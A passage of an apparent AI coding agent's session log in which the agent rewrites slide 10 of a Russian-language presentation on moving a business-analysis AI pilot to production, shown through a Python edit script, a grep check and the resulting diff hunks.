\u044f\u0434\u0440\u043e \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 (B-216, B-218).\\n  \u041d\u0443\u0436\u043d\u044b \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f: \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e API \u0438\u0437 \u043a\u043e\u0434\u0430 \u0438 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430.\\n- **\u0427\u0435\u0433\u043e \u043c\u044b \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u043c:** \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u043c \u044f\u0434\u0440\u043e \u043d\u0430 n8n, Dify \u0438\u043b\u0438 Flowise \u0438 \u043d\u0435\\n  \u043e\u0442\u0434\u0430\u0451\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0430\u0433\u0435\u043d\u0442\u0443.\\n\\n\\\"\\\"\\\"+s[b:]\\ns=s.replace(\\\"\\\"\\\"[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 Source \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md).\\\"\\\"\\\",\\n\\\"\\\"\\\"[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 Source \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md),\\n[\u0431\u044d\u043a\u043b\u043e\u0433 B-211\u2026B-218](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md).\\\"\\\"\\\")\\ns=s.replace(\\\"| \u2014 (\u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u044b) | 10 |\\\",\\\"| \u2014 (\u043f\u0443\u0442\u044c \u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f) | 10 |\\\")\\nopen(p,'w').write(s)\\nEOF\\ngrep -n \\\"\u0421\u043b\u0430\u0439\u0434 10\\\" -A22 2026-09-29-meta-model-presentation-slides.md | head -30\",\n[2026-09-29T07:51:53.532Z] [INFO]       \"description\": \"Rewrite slide 10 accurately\"\n[2026-09-29T07:51:53.532Z] [INFO]     }\n[2026-09-29T07:51:53.532Z] [INFO]   }\n[2026-09-29T07:51:53.532Z] [INFO] }\n[2026-09-29T07:51:55.321Z] [INFO] {\n[2026-09-29T07:51:55.321Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:51:55.321Z] [INFO]   \"message\": {\n[2026-09-29T07:51:55.321Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:51:55.321Z] [INFO]     \"content\": [\n[2026-09-29T07:51:55.321Z] [INFO]       {\n[2026-09-29T07:51:55.321Z] [INFO]         \"tool_use_id\": \"toolu_019SzcFbLV2CvVpfPyDCRMBL\",\n[2026-09-29T07:51:55.321Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:51:55.321Z] [INFO]         \"content\": \"455:## \u0421\u043b\u0430\u0439\u0434 10. \u041f\u0443\u0442\u044c \u043e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u0438 \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0437\u0430\u0440\u0430\u043d\u0435\u0435\\n456-\\n457-**\u0420\u0435\u0448\u0435\u043d\u0438\u044f \u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0448\u0430\u0433.**\\n458-\\n459-- **\u0428\u0430\u0433 1, \u0431\u0435\u0437 \u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b:** runner \u0432\u0435\u0434\u0451\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043d\u0430 \u0410\u0420\u041c \u2014 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\\n460-  \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u0432 \u0438\u0437 YAML, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430, \u0443\u043c\u0435\u0435\u0442 \u0436\u0434\u0430\u0442\u044c \u0438\\n461-  \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c (B-211\u2026B-213).\\n462-- **\u0428\u0430\u0433 2, \u0437\u0430\u043c\u0435\u0440:** 10 \u0437\u0430\u0434\u0430\u0447. \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u0430, \u0435\u0441\u043b\u0438 \u0434\u043e\u043b\u044f \u0448\u0430\u0433\u043e\u0432 \u0441\\n463-  \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0443\u0437\u043b\u0430 \u043d\u0438\u0436\u0435 95% \u0438\u043b\u0438 \u0411\u0410 \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435\\n464-  \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435.\\n465-- **\u0428\u0430\u0433 3, \u0421\u0440\u0435\u0434\u0430 4:** \u0442\u043e \u0436\u0435 \u044f\u0434\u0440\u043e \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 (B-216, B-218).\\n466-  \u041d\u0443\u0436\u043d\u044b \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f: \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e API \u0438\u0437 \u043a\u043e\u0434\u0430 \u0438 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430.\\n467-- **\u0427\u0435\u0433\u043e \u043c\u044b \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u043c:** \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u043c \u044f\u0434\u0440\u043e \u043d\u0430 n8n, Dify \u0438\u043b\u0438 Flowise \u0438 \u043d\u0435\\n468-  \u043e\u0442\u0434\u0430\u0451\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0430\u0433\u0435\u043d\u0442\u0443.\\n469-\\n470-> **\u0417\u0430\u043f\u0440\u043e\u0441:** \u043d\u0435 \u0431\u044e\u0434\u0436\u0435\u0442 \u043d\u0430 \u00ab\u0418\u0418-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430\u00bb, \u0430 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430 \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438\\n471-> \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b.\\n472-\\n473-**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n474-\\n475-```text\\n476-Three illuminated switches on a clean control panel, two already in\\n477-the on position and one waiting; behind the panel a calm, well-lit\",\n[2026-09-29T07:51:55.321Z] [INFO]         \"is_error\": false\n[2026-09-29T07:51:55.321Z] [INFO]       }\n[2026-09-29T07:51:55.321Z] [INFO]     ]\n[2026-09-29T07:51:55.321Z] [INFO]   },\n[2026-09-29T07:51:55.321Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:55.321Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:55.321Z] [INFO]   \"uuid\": \"cab6a115-5762-4379-8677-f504c91deda8\",\n[2026-09-29T07:51:55.321Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:55.307Z\",\n[2026-09-29T07:51:55.321Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:51:55.321Z] [INFO]     \"stdout\": \"455:## \u0421\u043b\u0430\u0439\u0434 10. \u041f\u0443\u0442\u044c \u043e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u0438 \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0437\u0430\u0440\u0430\u043d\u0435\u0435\\n456-\\n457-**\u0420\u0435\u0448\u0435\u043d\u0438\u044f \u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0448\u0430\u0433.**\\n458-\\n459-- **\u0428\u0430\u0433 1, \u0431\u0435\u0437 \u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b:** runner \u0432\u0435\u0434\u0451\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043d\u0430 \u0410\u0420\u041c \u2014 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\\n460-  \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u0432 \u0438\u0437 YAML, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430, \u0443\u043c\u0435\u0435\u0442 \u0436\u0434\u0430\u0442\u044c \u0438\\n461-  \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c (B-211\u2026B-213).\\n462-- **\u0428\u0430\u0433 2, \u0437\u0430\u043c\u0435\u0440:** 10 \u0437\u0430\u0434\u0430\u0447. \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u0430, \u0435\u0441\u043b\u0438 \u0434\u043e\u043b\u044f \u0448\u0430\u0433\u043e\u0432 \u0441\\n463-  \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0443\u0437\u043b\u0430 \u043d\u0438\u0436\u0435 95% \u0438\u043b\u0438 \u0411\u0410 \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435\\n464-  \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435.\\n465-- **\u0428\u0430\u0433 3, \u0421\u0440\u0435\u0434\u0430 4:** \u0442\u043e \u0436\u0435 \u044f\u0434\u0440\u043e \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 (B-216, B-218).\\n466-  \u041d\u0443\u0436\u043d\u044b \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f: \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e API \u0438\u0437 \u043a\u043e\u0434\u0430 \u0438 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430.\\n467-- **\u0427\u0435\u0433\u043e \u043c\u044b \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u043c:** \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u043c \u044f\u0434\u0440\u043e \u043d\u0430 n8n, Dify \u0438\u043b\u0438 Flowise \u0438 \u043d\u0435\\n468-  \u043e\u0442\u0434\u0430\u0451\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0430\u0433\u0435\u043d\u0442\u0443.\\n469-\\n470-> **\u0417\u0430\u043f\u0440\u043e\u0441:** \u043d\u0435 \u0431\u044e\u0434\u0436\u0435\u0442 \u043d\u0430 \u00ab\u0418\u0418-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430\u00bb, \u0430 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430 \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438\\n471-> \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b.\\n472-\\n473-**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n474-\\n475-```text\\n476-Three illuminated switches on a clean control panel, two already in\\n477-the on position and one waiting; behind the panel a calm, well-lit\",\n[2026-09-29T07:51:55.321Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:51:55.321Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:51:55.321Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:51:55.321Z] [INFO]     \"noOutputExpected\": false,\n[2026-09-29T07:51:55.321Z] [INFO]     \"bashEditDiff\": {\n[2026-09-29T07:51:55.321Z] [INFO]       \"files\": [\n[2026-09-29T07:51:55.321Z] [INFO]         {\n[2026-09-29T07:51:55.321Z] [INFO]           \"filePath\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\",\n[2026-09-29T07:51:55.321Z] [INFO]           \"hunks\": [\n[2026-09-29T07:51:55.321Z] [INFO]             {\n[2026-09-29T07:51:55.321Z] [INFO]               \"oldStart\": 52,\n[2026-09-29T07:51:55.321Z] [INFO]               \"oldLines\": 7,\n[2026-09-29T07:51:55.321Z] [INFO]               \"newStart\": 52,\n[2026-09-29T07:51:55.321Z] [INFO]               \"newLines\": 7,\n[2026-09-29T07:51:55.321Z] [INFO]               \"lines\": [\n[2026-09-29T07:51:55.321Z] [INFO]                 \" | 5. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 | 7 |\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \" | 6. \u0421\u0440\u0435\u0434\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f | 8 |\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \" | 7. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 | 9 |\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"-| \u2014 (\u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u044b) | 10 |\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"+| \u2014 (\u043f\u0443\u0442\u044c \u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f) | 10 |\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \" \",\n[2026-09-29T07:51:55.321Z] [INFO]                 \" \u0421\u043b\u0430\u0439\u0434 4 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u0441\u0432\u0435\u0440\u0445 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438: \u0431\u0435\u0437 \u043d\u0435\u0433\u043e \u043f\u0440\u043e\u0440\u044b\u0432 \u043d\u0430 \u0441\u043b\u0430\u0439\u0434\u0435 6 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \" \u0442\u0435\u0437\u0438\u0441, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0432\u044b\u0432\u043e\u0434 \u0438\u0437 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432.\"\n[2026-09-29T07:51:55.321Z] [INFO]               ]\n[2026-09-29T07:51:55.321Z] [INFO]             },\n[2026-09-29T07:51:55.321Z] [INFO]             {\n[2026-09-29T07:51:55.321Z] [INFO]               \"oldStart\": 452,\n[2026-09-29T07:51:55.321Z] [INFO]               \"oldLines\": 19,\n[2026-09-29T07:51:55.321Z] [INFO]               \"newStart\": 452,\n[2026-09-29T07:51:55.321Z] [INFO]               \"newLines\": 20,\n[2026-09-29T07:51:55.321Z] [INFO]               \"lines\": [\n[2026-09-29T07:51:55.321Z] [INFO]                 \" \",\n[2026-09-29T07:51:55.321Z] [INFO]                 \" ---\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \" \",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"-## \u0421\u043b\u0430\u0439\u0434 10. \u0427\u0442\u043e\u0431\u044b \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4, \u043d\u0443\u0436\u043d\u044b \u0442\u0440\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"+## \u0421\u043b\u0430\u0439\u0434 10. \u041f\u0443\u0442\u044c \u043e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u0438 \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0437\u0430\u0440\u0430\u043d\u0435\u0435\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \" \",\n[2026-09-29T07:51:55.321Z] [INFO]                 \" **\u0420\u0435\u0448\u0435\u043d\u0438\u044f \u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0448\u0430\u0433.**\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \" \",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"-- **\u0420\u0435\u0448\u0435\u043d\u0438\u0435 1:** \u0434\u043e\u0441\u0442\u0443\u043f \u043a Mango AI \u043f\u043e OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u043c\u0443 API \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0433\u043e\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"-  runner'\u0430 \u2014 \u043c\u043e\u0434\u0435\u043b\u044c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0430.\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"-- **\u0420\u0435\u0448\u0435\u043d\u0438\u0435 2:** \u043f\u0438\u043b\u043e\u0442 \u043d\u0430 10 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 contact-center \u0441 \u0437\u0430\u043c\u0435\u0440\u043e\u043c\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"-  `M-1`\u2026`M-4` \u0434\u043e \u0438 \u043f\u043e\u0441\u043b\u0435.\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"-- **\u0420\u0435\u0448\u0435\u043d\u0438\u0435 3:** \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0437\u0430\u0440\u0430\u043d\u0435\u0435: \u043c\u0435\u043d\u044c\u0448\u0435 95%\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"-  \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u043f\u043e\u0441\u043b\u0435 10 \u0437\u0430\u0434\u0430\u0447 \u2014 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"-  \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f.\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"-- \u0427\u0442\u043e \u043c\u044b \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u043c: \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u043c \u044f\u0434\u0440\u043e \u043d\u0430 n8n, Dify \u0438\u043b\u0438 Flowise \u0438 \u043d\u0435 \u043e\u0442\u0434\u0430\u0451\u043c\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"-  \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0430\u0433\u0435\u043d\u0442\u0443.\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"+- **\u0428\u0430\u0433 1, \u0431\u0435\u0437 \u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b:** runner \u0432\u0435\u0434\u0451\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043d\u0430 \u0410\u0420\u041c \u2014 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"+  \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u0432 \u0438\u0437 YAML, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430, \u0443\u043c\u0435\u0435\u0442 \u0436\u0434\u0430\u0442\u044c \u0438\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"+  \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c (B-211\u2026B-213).\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"+- **\u0428\u0430\u0433 2, \u0437\u0430\u043c\u0435\u0440:** 10 \u0437\u0430\u0434\u0430\u0447. \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u0430, \u0435\u0441\u043b\u0438 \u0434\u043e\u043b\u044f \u0448\u0430\u0433\u043e\u0432 \u0441\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"+  \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0443\u0437\u043b\u0430 \u043d\u0438\u0436\u0435 95% \u0438\u043b\u0438 \u0411\u0410 \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"+  \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435.\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"+- **\u0428\u0430\u0433 3, \u0421\u0440\u0435\u0434\u0430 4:** \u0442\u043e \u0436\u0435 \u044f\u0434\u0440\u043e \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 (B-216, B-218).\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"+  \u041d\u0443\u0436\u043d\u044b \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f: \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e API \u0438\u0437 \u043a\u043e\u0434\u0430 \u0438 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430.\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"+- **\u0427\u0435\u0433\u043e \u043c\u044b \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u043c:** \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u043c \u044f\u0434\u0440\u043e \u043d\u0430 n8n, Dify \u0438\u043b\u0438 Flowise \u0438 \u043d\u0435\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"+  \u043e\u0442\u0434\u0430\u0451\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0430\u0433\u0435\u043d\u0442\u0443.\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \" \",\n[2026-09-29T07:51:55.321Z] [INFO]                 \" > **\u0417\u0430\u043f\u0440\u043e\u0441:** \u043d\u0435 \u0431\u044e\u0434\u0436\u0435\u0442 \u043d\u0430 \u00ab\u0418\u0418-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430\u00bb, \u0430 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430 \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \" > \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b.\"\n[2026-09-29T07:51:55.321Z] [INFO]               ]\n[2026-09-29T07:51:55.321Z] [INFO]             },\n[2026-09-29T07:51:55.321Z] [INFO]             {\n[2026-09-29T07:51:55.321Z] [INFO]               \"oldStart\": 482,\n[2026-09-29T07:51:55.321Z] [INFO]               \"oldLines\": 7,\n[2026-09-29T07:51:55.321Z] [INFO]               \"newStart\": 483,\n[2026-09-29T07:51:55.321Z] [INFO]               \"newLines\": 8,\n[2026-09-29T07:51:55.321Z] [INFO]               \"lines\": [\n[2026-09-29T07:51:55.321Z] [INFO]                 \" \",\n[2026-09-29T07:51:55.321Z] [INFO]                 \" **\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \" [\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0441\u0440\u0435\u0434\u0430\u043c \u0438 \u043f\u043e\u0440\u043e\u0433 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md),\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"-[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 Source \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md).\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"+[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 Source \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md),\",\n[2026-09-29T07:51:55.321Z] [INFO]                 \"+[\u0431\u044d\u043a\u043b\u043e\u0433 B-211\u2026B-218](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md).\",\n[2026-09-29T07:51:55.321Z] 